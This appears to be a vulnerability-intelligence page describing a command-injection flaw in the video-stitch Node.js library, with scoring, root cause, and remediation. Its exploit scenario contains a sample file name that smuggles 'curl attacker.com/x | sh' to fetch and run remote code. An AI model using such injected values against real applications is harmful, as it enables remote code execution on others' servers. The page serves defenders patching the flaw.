Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply malicious file name to app
-
DeliveryName reaches concat()/cut()/merge()
-
ExploitMetacharacters interpolated unquoted into ffmpeg string
-
ExecutionShell executes injected command
-
ImpactCode runs with Node.js process privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that attacker-influenced file names be passed into video-stitch's concat(), cut(), or merge() functions (specifically the output/clip name and fileName arguments interpolated into the ffmpeg command in lib/videoconcat.js and lib/videocut.js). The vulnerable version must be before 2.0.0-beta.1 and must use the pre-patch shell-executed code path (shelljs.exec), and ffmpeg must be present for the command line to run. LIMITING FACTORS: as a library, there is no exploitation unless the embedding application routes untrusted data into these file-name parameters without sanitization; applications that only ever pass trusted, internally-generated file names are not exploitable. No authentication or user interaction is required at the library level, but the effective auth requirement is whatever the consuming application enforces on the input path. |
| Impact | The input CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores this 9.3 (Critical), characterizing it as network-reachable, low-complexity, unauthenticated command execution with high confidentiality, integrity, and availability impact - consistent with CWE-78 and the confirmed-vulnerable shelljs.exec() calls visible in the PR #26 diff. However, these raw metrics overstate real-world risk because video-stitch is a library, not a network service: exploitation requires that attacker-controlled data actually reach the fileName/output arguments of concat(), cut(), or merge() in the consuming Node.js application, so the effective attack vector and privilege requirement are inherited from whatever application embeds the library. No EPSS score, CISA KEV listing, or public exploit was provided in the intelligence set, so there is no evidence of active or at-scale exploitation; the signals present (vendor patch, VulnCheck advisory, source-level confirmation) indicate a verified, patchable defect rather than an actively weaponized threat. CONFLICT TO NOTE: the CVSS PR:N/AV:N assumes untrusted input flows unfiltered into the vulnerable API, which is a deployment-dependent assumption - verify against the specific application before treating this as remote-unauthenticated. Net: a genuinely serious code-execution bug in affected deployments, but its priority is gated by the obscurity and small footprint of the affected package and the absence of any exploitation telemetry. |
| Exploit ScenarioDerived | An application uses video-stitch to process videos whose file names derive from untrusted input (e.g. a user-supplied upload name or title). An attacker submits a file name containing shell metacharacters such as 'video.mp4; curl attacker.com/x | sh', which is interpolated unquoted into the ffmpeg command line and executed by the shell, running arbitrary commands with the Node.js process privileges. No public exploit code was identified in the provided data, but the patched source (PR #26) directly confirms the vulnerable unquoted shelljs.exec() interpolation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 14, 2026
OS command injection in the Video-stitch Node.js library (ArsalanDotMe) before 2.0.0-beta.1 allows unauthenticated remote attackers to run arbitrary shell commands with the privileges of the Node.js process by supplying file names containing shell metacharacters to the concat(), cut(), or merge() functions. The vulnerable code interpolated those values unquoted into shell-executed ffmpeg command lines (shelljs.exec) in lib/videoconcat.js and lib/videocut.js, so exposure is realized whenever an embedding application routes untrusted data into the output/clip name or fileName parameters; applications that only pass trusted, internally generated file names are not exploitable. CVSS 4.0 rates this 9.3 (Critical) with PR:N and UI:N, and no public exploit code or confirmed active exploitation was identified at time of analysis; a fix is available in version 2.0.0-beta.1.
RemediationAI
Upgrade video-stitch to 2.0.0-beta.1 or later, which is the vendor-released fix; the corrective changes are in PR https://github.com/ArsalanDotMe/VideoStitch/pull/26 and commit https://github.com/ArsalanDotMe/VideoStitch/commit/ba60353e6c3707e6ff5d89eb6d76c2c6cdb0df9b, which replace shelljs.exec() with child_process.execFile() so ffmpeg arguments are passed as an argv array and never parsed by a shell. If upgrading is not immediately possible, the compensating control is to stop untrusted data from reaching the concat(), cut(), and merge() file-name parameters: generate output/clip names and input file paths server-side (for example from UUIDs or a strict allowlist) rather than accepting them from users, and reject or normalize any supplied name containing shell metacharacters such as ;, |, &, $, `, <, >, (, ), newlines, or spaces before it is interpolated into the ffmpeg command. Note that because this is a library-level flaw, patching the dependency is the only complete fix, and input filtering is a temporary risk reduction that can be bypassed if any code path still forwards raw names. As an additional hardening step, ensure spec.ffmpeg_path cannot be set by untrusted callers and consider running video-stitch under a least-privileged account so any residual command execution has limited impact. Reference the VulnCheck advisory at https://www.vulncheck.com/advisories/video-stitch-before-2.0.0-beta.1-os-command-injection-via-concat-and-cut for the authoritative disclosure.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), a classic shell-injection class in which user-controllable strings are concatenated into a command line rather than passed as discrete argv elements. Video-stitch is a Node.js wrapper around the ffmpeg binary: prior to 2.0.0-beta.1, lib/videoconcat.js (around line 61) built a template-literal command such as ${spec.ffmpeg_path} -f concat -safe 0 -protocol_whitelist file,http,https,tcp,tls,crypto -i ${args.fileList} -c copy ${outputFileName} ${overwrite} and executed it through shelljs.exec(), while lib/videocut.js (lines 96-99) did the same with ${args.fileName}, ${args.startTime}, ${args.duration}, and the cut output name. Because those values were never quoted or escaped, an attacker-controlled file name containing characters like ;, |, &&, $(...), or backticks was interpreted by the underlying shell and executed with the Node.js process's permissions. The upstream fix in PR #26 / commit ba60353e6c3707e6ff5d89eb6d76c2c6cdb0df9b abandons the shell entirely, switching to require('child_process').execFile(spec.ffmpeg_path, ffArgs) and pushing each parameter as a separate array element, so filenames and paths are treated as literals and can never be parsed as shell syntax. Practical exploitation also requires ffmpeg to be present (ffmpeg_path configured) so the injected command line actually runs; the library itself performs no authentication or authorization checks, so the effective access requirement is whatever the consuming application enforces on the input path that reaches these file-name arguments.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Unquoted shell interpolation yields trivial injection (AC:L) with full code execution at Node process authority (C/I/A:H, S:U); AV:N/PR:N follows the premise that untrusted file names reach the API, as the input vector assumes.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into shell-executed ffmpeg command lines. Attackers who influence file names passed to concat(), cut(), or merge() can inject shell metacharacters to run commands with the Node.js process privileges.
Executive ViewAI
Video-stitch, an open-source Node.js library that most teams consume indirectly through video-stitching and trimming features, carries a critical command-injection flaw that allows unauthenticated remote attackers to run arbitrary shell commands wherever an embedding application feeds untrusted filenames into its concat(), cut(), or merge() functions. Exploitation runs with the privileges of the Node.js process, so a single internet-facing service that accepts user-controlled clip or output names can become a full remote-code-execution foothold; no public exploit identified at time of analysis, but the fix is already published. Leadership should care about scope and visibility: this is a dependency inherited through application code, and most organizations will not know whether they are exposed without an inventory and a review of how filenames flow into the library.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-101273
GHSA-8mh7-3vxw-frrx
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB